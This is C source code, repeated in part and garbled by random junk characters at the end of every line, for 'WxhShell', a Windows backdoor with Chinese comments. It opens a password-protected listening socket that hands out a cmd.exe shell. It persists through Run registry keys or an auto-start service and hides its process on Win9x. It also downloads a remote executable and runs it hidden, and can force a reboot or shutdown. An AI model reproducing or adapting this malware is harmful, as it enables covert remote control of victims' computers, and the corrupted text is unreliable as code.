    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ob h@d|  
    else { m+dJ3   
    closesocket(wsh); 9.l*#A^  
    ExitThread(0); [Pz['q L3t  
    } +)e+$ l  
    break; |il P>b  
    } FWQNO(  
  // 获取shell `z6I][Uf  
  case 's': { bb`8YF+?'  
    CmdShell(wsh); a~Y`N73/c  
    closesocket(wsh); <3[0A;W=1  
    ExitThread(0); d01]5'f?o  
    break; YyD0g9{  
  } QWAtF@qTV  
  // 退出  s{T6qJ  
  case 'x': { SH1)@K-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _G ^Cc}X  
    CloseIt(wsh); #HmZe98[%  
    break; h9l 6AnbJ  
    } C.?~D*Q  
  // 离开 l[b`4  
  case 'q': { ze#r/j;sw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e#|YROHf  
    closesocket(wsh); ECvTmU'=  
    WSACleanup(); uwWKsZ4:ij  
    exit(1); \ H!Klp  
    break; `:YCOF  
        } g3vR\?c`  
  } G Y+li {  
  } {1J4Q[N9m  
#b$qtp!,  
  // 提示信息 5/m}v'S%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $VUX?ii$7=  
} RfzYoBN  
  } e4Q2$ Q@b  
yuq2)  
  return; )PjU=@$lI  
} .CBb%onx  
s7 3'h  
// shell模块句柄 em?Q4t  
int CmdShell(SOCKET sock) jF0>w  m  
{ c4(og|ifk  
STARTUPINFO si; ow K)]t  
ZeroMemory(&si,sizeof(si)); `-w;/A"MJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CsiRM8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H[U"eS."  
PROCESS_INFORMATION ProcessInfo; NWII?X#T}  
char cmdline[]="cmd"; F4 =V* /7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >|g(/@IO  
  return 0; a<l DT_2b  
} 7&vDx=W  
:r}C&3  
// 自身启动模式 )H[Pz.'ah0  
int StartFromService(void) Oc%W_Gb7  
{ *apkw5B}C  
typedef struct CK(`]-q>,  
{ U,7}VdO  
  DWORD ExitStatus; jUd)|v+t  
  DWORD PebBaseAddress; <^Jdl.G  
  DWORD AffinityMask; M^jEp  
  DWORD BasePriority; -qdt$jIM  
  ULONG UniqueProcessId; 28LYGrB  
  ULONG InheritedFromUniqueProcessId; B PG&R  
}   PROCESS_BASIC_INFORMATION; ecyN};V>  
CX#d9 8\b  
PROCNTQSIP NtQueryInformationProcess; 7(C:ty9  
#i=k-FA)H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;2l|0:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W?D-&X^ny  
nG0R1<  
  HANDLE             hProcess; (0^ZZe`# j  
  PROCESS_BASIC_INFORMATION pbi; )_SpY\J  
p;.M .  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0n*D](/NK  
  if(NULL == hInst ) return 0; lwm 9gka  
)F,z pGG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %`}nP3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @IV,sz e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qpV"ii  
LyRW\\z2  
  if (!NtQueryInformationProcess) return 0; I*H($ a  
QVo>Uit   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1\-r5e; BE  
  if(!hProcess) return 0; x%T.0@!8  
8~ u/gM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f-Zi!AGh>  
h}4yz96WD  
  CloseHandle(hProcess); K>G.HN@  
h`f$]_c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ik-E_U2  
if(hProcess==NULL) return 0; fw)Q1"|  
V E?Aa  
HMODULE hMod; $0|`h)&  
char procName[255]; )Bu#ln"  
unsigned long cbNeeded; ji.T7wn1u  
5:(/k\9+yv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o2!wz8  
6o4Y]C2W{1  
  CloseHandle(hProcess); BJKv9x1jK  
`\J,%J  
if(strstr(procName,"services")) return 1; // 以服务启动 P~s u]+  
D.gD4g_O/  
  return 0; // 注册表启动 !wTrWD!  
} zZ;V9KM>v  
2@Oz_?O=  
// 主模块 ]EdZ,`B4  
int StartWxhshell(LPSTR lpCmdLine) 2d&]V]:R*  
{ fNz(z\  
  SOCKET wsl; Q hdG(`PY~  
BOOL val=TRUE; DhXV=Qw  
  int port=0; UjS+Ddp  
  struct sockaddr_in door; /[E2+g  
ZmmX_!M  
  if(wscfg.ws_autoins) Install(); zxkO&DGRbN  
~I;|ipK4m  
port=atoi(lpCmdLine); %F\.1\&eE  
7[I +1  
if(port<=0) port=wscfg.ws_port; 2"_5Yyb  
zwk& 3  
  WSADATA data; O_L>We@3E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a[p$e?gka  
2S-f5&o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s"R5'W\U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N5zx#g  
  door.sin_family = AF_INET; -F_c Bu81V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `\GR Y @cg  
  door.sin_port = htons(port); \,'4eV  
w)&?9?~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J&&)%&h'I  
closesocket(wsl); }42Hhu7j  
return 1; E;wT4 T=  
} ZsSW{ffZ77  
i|m8#*Hd  
  if(listen(wsl,2) == INVALID_SOCKET) { 2#/23(Wc  
closesocket(wsl); #x`K4f)  
return 1; |AS~sjWSJ  
} b[<L l%K  
  Wxhshell(wsl); /B)2L]6p  
  WSACleanup(); *HB 32 =qD  
gegM&Xo  
return 0; H4W!Md  
-fp/3-  
} o`G6!  
-ijzo%&qA  
// 以NT服务方式启动 d"L(eI}G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (4?^X  
{ =cO5Nt  
DWORD   status = 0; IwRP,MQ~  
  DWORD   specificError = 0xfffffff; rgDl%X2B  
>@Pw{Zh$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MJkusR/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;A4j_ 8\[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :zY;eJKm  
  serviceStatus.dwWin32ExitCode     = 0; f@[)*([  
  serviceStatus.dwServiceSpecificExitCode = 0; Z_fwvcZ?05  
  serviceStatus.dwCheckPoint       = 0; '#SZ|Rr6tX  
  serviceStatus.dwWaitHint       = 0; JI  cm$  
Jg)( F|>o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \;KSx3o  
  if (hServiceStatusHandle==0) return; [ r  
g/}d> 6  
status = GetLastError(); ^VW]Qr!  
  if (status!=NO_ERROR) /GX>L)  
{ ^4NRmlb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .)=*Yr M  
    serviceStatus.dwCheckPoint       = 0; :aBm,q9i:}  
    serviceStatus.dwWaitHint       = 0; C#e :_e]  
    serviceStatus.dwWin32ExitCode     = status; QUaV;6 4  
    serviceStatus.dwServiceSpecificExitCode = specificError; +~ Hb}0ry  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V^4v`}Wgx  
    return; w]nt_xj  
  } #%F-Xsk  
%|ClYr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pL!,1D!  
  serviceStatus.dwCheckPoint       = 0; <$K=3&:s8q  
  serviceStatus.dwWaitHint       = 0; (>E/C^Tc%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #d*0 )w  
} RyU8{-q  
5*+DN U@  
// 处理NT服务事件,比如:启动、停止 'J3yJ{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !Z |_3  
{ 4_ypFuS^  
switch(fdwControl) [V qiF~o,  
{ Wp+lI1t  
case SERVICE_CONTROL_STOP: @$!6u0x  
  serviceStatus.dwWin32ExitCode = 0; O2?yI8|Jn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EZ:? (|h  
  serviceStatus.dwCheckPoint   = 0; x2a ?ugQ  
  serviceStatus.dwWaitHint     = 0; S=lCzL;j"  
  { wVFa51a)yy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (F 9P1Iq  
  } rsa_)iBC  
  return; U;IGV~oT  
case SERVICE_CONTROL_PAUSE: $MGKGWx@E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,X1M!'  
  break; (X-( WMsqQ  
case SERVICE_CONTROL_CONTINUE: pUS:HJk|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4`mf^K f  
  break; Ph%ylS/T{  
case SERVICE_CONTROL_INTERROGATE: {[`(o 0@(  
  break; (+;D~iN`k  
}; !.^x^OK%y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \y%"tJ~N{  
} he/rt#  
G[]%1 _QCO  
// 标准应用程序主函数 r]&sXKDc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @ *~yVV!5  
{ A,tg268  
J[r_ag  
// 获取操作系统版本 l)o!&]2  
OsIsNt=GetOsVer(); 1LSJy*yY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xb%Q[V_m  
7w" !"W#  
  // 从命令行安装 vea{o 35!  
  if(strpbrk(lpCmdLine,"iI")) Install(); '3U,UD5EG  
_ Pzgn@D  
  // 下载执行文件 H! 5Ka#B  
if(wscfg.ws_downexe) { 8+dsTX`|S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R+0gn/a[G  
  WinExec(wscfg.ws_filenam,SW_HIDE); P^=B6>e  
} 0^Vw^]w  
$[ S 33Q  
if(!OsIsNt) { tmoCy0qWz  
// 如果时win9x,隐藏进程并且设置为注册表启动 b;d7mh 4  
HideProc(); 5%(whSKZF  
StartWxhshell(lpCmdLine); 2bLc57j{`9  
} d*e8P ep  
else ;di .U,  
  if(StartFromService()) Ws1|idAT  
  // 以服务方式启动 /Dd x[P5p=  
  StartServiceCtrlDispatcher(DispatchTable); eY`9J4o'  
else 37:tu7e~c  
  // 普通方式启动 Qxa Me8 (  
  StartWxhshell(lpCmdLine); -zMvpe-am&  
$*$4DG1gaR  
return 0; "%+||IyW  
} 4[gbRn'  
": BZZ\!  
R!7--]Wcg  
<dE~z]P  
=========================================== 2]Cn<zJ  
x1`(Z|RJ  
o6|- :u5_/  
lH`c&LL-=!  
"Dk@-Ac  
^Ss <<  
" PPrvVGP   
\'u+iB g  
#include <stdio.h> 3I)oqS@q'  
#include <string.h> I4w``""c  
#include <windows.h> %%n&z6w-  
#include <winsock2.h> Fje /;p  
#include <winsvc.h> '_Pb\ jK  
#include <urlmon.h> 4clCZ@\K^  
)'g4Ty  
#pragma comment (lib, "Ws2_32.lib") B* 3_m _a  
#pragma comment (lib, "urlmon.lib") F=5vA v1  
g\/|7:yB]  
#define MAX_USER   100 // 最大客户端连接数 CdCY#$Z  
#define BUF_SOCK   200 // sock buffer +}( ]7du  
#define KEY_BUFF   255 // 输入 buffer |x1Ttr,  
K"g{P  
#define REBOOT     0   // 重启 i !sVQ(:  
#define SHUTDOWN   1   // 关机 >7X5/z  
4IB`7QJq  
#define DEF_PORT   5000 // 监听端口 9 ;vES^  
P8=J0&5  
#define REG_LEN     16   // 注册表键长度 |5FEsts[  
#define SVC_LEN     80   // NT服务名长度 ?P9VdS1-  
r/0 #D+A  
// 从dll定义API 7^Us  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q[vO mes  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S/y(1.wh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RT'5i$q[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zn. S65J*u  
E=S_1  
// wxhshell配置信息 sA: /!9  
struct WSCFG { i=>`=. ~  
  int ws_port;         // 监听端口 tRc 3<>  
  char ws_passstr[REG_LEN]; // 口令 J32{#\By  
  int ws_autoins;       // 安装标记, 1=yes 0=no `WC4:8  
  char ws_regname[REG_LEN]; // 注册表键名 !IC .0I`  
  char ws_svcname[REG_LEN]; // 服务名 H&F2[j$T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xDekC~ Zq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bqa_l|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @W(,|xES  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jL5O{R[ x:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rk ,64(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V_v+i c^  
wod{C!  
}; ~ W8 M3(^  
gGA5xkA  
// default Wxhshell configuration 6rG7/  
struct WSCFG wscfg={DEF_PORT, U:MZN[Cc[  
    "xuhuanlingzhe", TQ/#  
    1, _uJ6Vy  
    "Wxhshell", R*LPwJuv  
    "Wxhshell", Ebi~gGo  
            "WxhShell Service", 9S'\&mRl  
    "Wrsky Windows CmdShell Service", #&S<{75A  
    "Please Input Your Password: ", B}p.fE  
  1, "].TKF#yg  
  "http://www.wrsky.com/wxhshell.exe", j9RpYz  
  "Wxhshell.exe" z=jzr=lP  
    }; j `3IizN2  
o 0b\<}  
// 消息定义模块 @N> rOA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \B/( H)Cd*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (lYC2i_b#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l`0JL7  
char *msg_ws_ext="\n\rExit."; ao2o!-?!t  
char *msg_ws_end="\n\rQuit."; GLV`IkU %  
char *msg_ws_boot="\n\rReboot..."; G8^b9xoA+.  
char *msg_ws_poff="\n\rShutdown..."; Pj8Vl)8~NV  
char *msg_ws_down="\n\rSave to "; }gX4dv B  
5/m*Lc+r  
char *msg_ws_err="\n\rErr!"; Ai)Q(]  
char *msg_ws_ok="\n\rOK!"; Z$YG'p{S  
<bv9X?U  
char ExeFile[MAX_PATH]; G Wj !n  
int nUser = 0; T~}g{q,tR  
HANDLE handles[MAX_USER]; X/Fip 0i  
int OsIsNt; ={190=\9  
;lTgihW-  
SERVICE_STATUS       serviceStatus; <_bGV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =*y{y)B^g  
!a5e{QG0  
// 函数声明 9@Z++J.^y  
int Install(void); ?PB}2*R  
int Uninstall(void); ;Oqbfl#%  
int DownloadFile(char *sURL, SOCKET wsh); 1 EV0Y]T1  
int Boot(int flag); Dp@m"_1`+  
void HideProc(void); a5@lWpQsV  
int GetOsVer(void); 9x8Ai  
int Wxhshell(SOCKET wsl); | 8n,|%e  
void TalkWithClient(void *cs); yAel4b/}  
int CmdShell(SOCKET sock); 1&kf2\S  
int StartFromService(void); tE=$#  
int StartWxhshell(LPSTR lpCmdLine); +#'QP#  
"rQ?2?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )[t3-'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1b!5h  
i2Gh!5]f  
// 数据结构和表定义 H{d/%}7[v  
SERVICE_TABLE_ENTRY DispatchTable[] = U.W Mu%  
{ k}{K7,DM  
{wscfg.ws_svcname, NTServiceMain}, n^epC>a"b  
{NULL, NULL} (G"/C7q  
}; KiNluGNt  
L=<,+m[!  
// 自我安装 u C`)?f*I  
int Install(void) W?12'EG}xa  
{ JlH5 <:#PN  
  char svExeFile[MAX_PATH]; OPKmYzf@b  
  HKEY key; {+QQ<)l^tJ  
  strcpy(svExeFile,ExeFile); jRjQDK_"ka  
Rmh,P>  
// 如果是win9x系统,修改注册表设为自启动 <,T#* fg  
if(!OsIsNt) { @eDL j}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )#cGeP A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Q\u-VN*hv  
  RegCloseKey(key); ><;.vP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QlxlT$o}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FCYZ9L5uF  
  RegCloseKey(key); gJ Z9XLPC  
  return 0; l)1ySX&BU  
    } Nx(y_.I{K  
  } f^XfIH_#  
} !r0 z3^*N  
else { /lvH p  
U C9w T  
// 如果是NT以上系统,安装为系统服务 |G-o&m"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fbW#6:Y  
if (schSCManager!=0) Wuji'sxTs  
{ MXpj_+@  
  SC_HANDLE schService = CreateService m=I A/HOR^  
  ( \RTXfe-`  
  schSCManager, W;wu2'  
  wscfg.ws_svcname, a,p7l$kK  
  wscfg.ws_svcdisp, ch}(v'xv(  
  SERVICE_ALL_ACCESS,  qZP>h4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /E6 Tt  
  SERVICE_AUTO_START, *W<g%j-a  
  SERVICE_ERROR_NORMAL, tZY(r {  
  svExeFile, wsfn>w?!V  
  NULL, q|ZQsFZ  
  NULL, ^S`c-N  
  NULL, qUp DmH  
  NULL, = P {]3K  
  NULL R:DW>LB  
  ); j6)@kW9x  
  if (schService!=0) V0 OT_F  
  { jvos)$;L-  
  CloseServiceHandle(schService); C0Ti9  
  CloseServiceHandle(schSCManager); ldm=uW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l. i&.;f  
  strcat(svExeFile,wscfg.ws_svcname); C{):jH,Rf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y#;@~S1W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }+f@$L  
  RegCloseKey(key); re} P  
  return 0; G;pxB,4s5  
    } $X;fz)u  
  } X<"W@  
  CloseServiceHandle(schSCManager); 1Q$Z'E}SK@  
} ;zvg]  %  
} =Wk!mGc  
u7<s_M3%N  
return 1; A@"CrVE  
} L pdp'9>I  
m)?cXM  
// 自我卸载 eJ!a8   
int Uninstall(void) D8Vb@5MW  
{ T|[ o  
  HKEY key; #| Et9  
w_i$/`i+  
if(!OsIsNt) { 6*2z^P9FRj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I6FglVQ6  
  RegDeleteValue(key,wscfg.ws_regname); N5[fw z w  
  RegCloseKey(key); } Pc6_#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &wZ:$lK#o  
  RegDeleteValue(key,wscfg.ws_regname); p,9eZUGy  
  RegCloseKey(key);  G l*C"V  
  return 0; "I]% aK0  
  } yeNC-U<  
} 5ff66CRw  
} # 1,(I  
else { a4! AvG  
EkqsE$52  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x3my8'h@  
if (schSCManager!=0) KdOy3O_5N  
{ q-}J0vu\K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hQgi--Msw'  
  if (schService!=0) ,*V{g pC7  
  { !g~xn2m$R  
  if(DeleteService(schService)!=0) { |&TRN1  
  CloseServiceHandle(schService); l>M&S^/s j  
  CloseServiceHandle(schSCManager); @Tr8.4  
  return 0; vf(\?Js ,  
  } kqA`d  
  CloseServiceHandle(schService); `riK[@  
  } ( UV8M\  
  CloseServiceHandle(schSCManager); s?5(E}  
} Tl Z|E '_C  
} \^3\_T&6  
-U=bC   
return 1; mOyBSOad4  
} R28h%KN  
BfF$  
// 从指定url下载文件 F/}PN1#T  
int DownloadFile(char *sURL, SOCKET wsh) jfHVXu^M  
{ hC8'6h  
  HRESULT hr; =2{^qvP  
char seps[]= "/"; D{/GjFO  
char *token; nQvv'%v0   
char *file; u*&wMR>Crf  
char myURL[MAX_PATH]; 7{X I^I:n  
char myFILE[MAX_PATH]; z@biX  
I "9S  
strcpy(myURL,sURL); !UlG! 820  
  token=strtok(myURL,seps); *B`wQhB%  
  while(token!=NULL) [3rvRJ.  
  { jzu1>*ok  
    file=token; *A O/$K@Ma  
  token=strtok(NULL,seps); ,?7U Rx*  
  } ( _E<?  
\?)<==^  
GetCurrentDirectory(MAX_PATH,myFILE); Pd\S{ Y~wk  
strcat(myFILE, "\\"); F\&R nDJ  
strcat(myFILE, file); [*#ms=Zdc  
  send(wsh,myFILE,strlen(myFILE),0); B}YB%P_CWs  
send(wsh,"...",3,0); z}N=Oe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _y),C   
  if(hr==S_OK)  #IyxH$  
return 0; K9gfS V>]  
else #tdI;x3  
return 1; (~N &ov  
pVP CxP  
} {cKKTDN  
N/mTG2'<  
// 系统电源模块 zD-.bHo>.  
int Boot(int flag) O%y.  
{ =g$%.  
  HANDLE hToken; 9#.nNv*z3  
  TOKEN_PRIVILEGES tkp; a%sr*`  
ED @9,W0  
  if(OsIsNt) { Dw?nf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /WB^h6qg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4l E j/#}  
    tkp.PrivilegeCount = 1; u-At k-2M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X61]N^y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %X O97  
if(flag==REBOOT) { q3e %L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !,PG!Gnl  
  return 0; s 7iguFQ  
} 0S;H`w_S  
else { INE8@}e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?x"<0k1g  
  return 0; Id(L}i(X  
} {d(@o!;Fi  
  } frk(2C8T  
  else { 6fQNF22E  
if(flag==REBOOT) { @]t}bF]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;zIAh[z  
  return 0; u)M dFz  
} vu;pILN  
else { -S OP8G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P|_>M SO1'  
  return 0; ! &Vp5]c  
} [ K;3Qf)  
} lh&Q{t(+8  
M;,Q8z%  
return 1; e-ILUzT  
} (u+3{Eb  
5vxJ|Hse@  
// win9x进程隐藏模块 Oj6-  
void HideProc(void) YgC J s;  
{ x-+Hy\^@|  
1RZhy_$\.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6SIk?]u  
  if ( hKernel != NULL ) { ,qm=Xjq  
  { |vw0:\/ H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dx/BxqG6}_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (\>3FwFHW|  
    FreeLibrary(hKernel); (V)nHF*<>  
  } /\hybx'  
N2vSJ\u  
return; kqYWa`eE  
} BYFvf(>  
>uN{cohs  
// 获取操作系统版本 0 Ji>dr n  
int GetOsVer(void) !v;N@C3C  
{ O{uc  h  
  OSVERSIONINFO winfo; @-Tt<pl'L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6LrG+p`  
  GetVersionEx(&winfo); 1WRQjT=o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a.#`>  
  return 1; E4 GtJ`{X  
  else Cb5;l~}L  
  return 0; {M96jjiInf  
} u+a" '*  
N?TXPY  
// 客户端句柄模块 lO! Yl:;m%  
int Wxhshell(SOCKET wsl) //n$#c _}u  
{ {b6| wQ\  
  SOCKET wsh; s4/4o_[W  
  struct sockaddr_in client; : a @_GIC  
  DWORD myID; *]NG@^y  
;fw}<M!6  
  while(nUser<MAX_USER) lk]q\yO_%  
{ eW, {E)x:  
  int nSize=sizeof(client); /]zn8 d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?55t0  
  if(wsh==INVALID_SOCKET) return 1; :rd{y`59>&  
1t wC-rC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jd?N5.  
if(handles[nUser]==0) kVR_?ch{  
  closesocket(wsh); `>-fU<Q1  
else ]-h;gN  
  nUser++; /N .xh  
  } 82l$]W4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mQdF+b1o  
\9j +ejGf  
  return 0; (Ild>_Tdb`  
} d$qivct  
f]%:.N~1w  
// 关闭 socket =jXBF.  
void CloseIt(SOCKET wsh) #@FMH*?xX6  
{ m:&go2Y  
closesocket(wsh); =?]H`T:  
nUser--; BdBwfH%:  
ExitThread(0); @yp#k>  
} Cw6\'p%l-\  
0M=A,`qk  
// 客户端请求句柄 (iQ< [3C=  
void TalkWithClient(void *cs) Yuo:hF\DH  
{ E><$sN6  
{\zTE1X9  
  SOCKET wsh=(SOCKET)cs; }7?_>  
  char pwd[SVC_LEN]; 6 G.(o  
  char cmd[KEY_BUFF]; C.qN Bl*  
char chr[1]; uH*moVw@5  
int i,j; gySCK-(y  
}C-K0ba7  
  while (nUser < MAX_USER) { .n$c+{  
4Z8FLA+T,  
if(wscfg.ws_passstr) { <O:}dXqZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : EA-L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (D2G.R\pr  
  //ZeroMemory(pwd,KEY_BUFF); uCkXzb9_z  
      i=0; Ckd j|  
  while(i<SVC_LEN) { 5j'7V1:2  
tb$I8T  
  // 设置超时 NM FgCL  
  fd_set FdRead; uuHg=8(  
  struct timeval TimeOut; EzII!0 F  
  FD_ZERO(&FdRead); 0?V{u`*  
  FD_SET(wsh,&FdRead); 0zQ~'x  
  TimeOut.tv_sec=8; mIW8K ):  
  TimeOut.tv_usec=0; 75v7w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^IQtXae6M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DVJuX~'|!  
gq%U5J"x;J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?D>%+rK8c  
  pwd=chr[0]; `JQw]\f4>  
  if(chr[0]==0xd || chr[0]==0xa) { i~Qnw-^B  
  pwd=0; M./1.k&@  
  break; /{6&99SJcc  
  } &t)$5\r  
  i++; jVlXB6[-  
    } ,~Y[XazT  
>]{{5oOQ>  
  // 如果是非法用户,关闭 socket /(oxK>*F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K;8{qQ*  
} <C1w?d$9I  
edai2O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GVT| fE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6JgbJbUi  
J497 >w[  
while(1) { hMCf| e.UY  
#W$6[#7=I  
  ZeroMemory(cmd,KEY_BUFF); _tlr8vL  
6~34L{u  
      // 自动支持客户端 telnet标准   d+qeZGg^A  
  j=0; Xsk/U++  
  while(j<KEY_BUFF) { c T21  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f;D(X/"f]  
  cmd[j]=chr[0]; @\U;?N~k  
  if(chr[0]==0xa || chr[0]==0xd) { vzX%x ul  
  cmd[j]=0; &s#OiF8  
  break; |@W|nbAfX  
  } SA{noM  
  j++; :|\[a0ZL  
    } Cl6P,C  
`y3*\l  
  // 下载文件 mX/'Fta  
  if(strstr(cmd,"http://")) { 0g8ykGyx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9y'To JZ6  
  if(DownloadFile(cmd,wsh)) }!uwWBw`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gq=tR`.  
  else + L [a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?`= <*{_o  
  } G#L6;  
  else { aH7@:=B  
"M;[c9  
    switch(cmd[0]) { &t U&ZH  
  {3T&6LA  
  // 帮助 yi8AzUW cW  
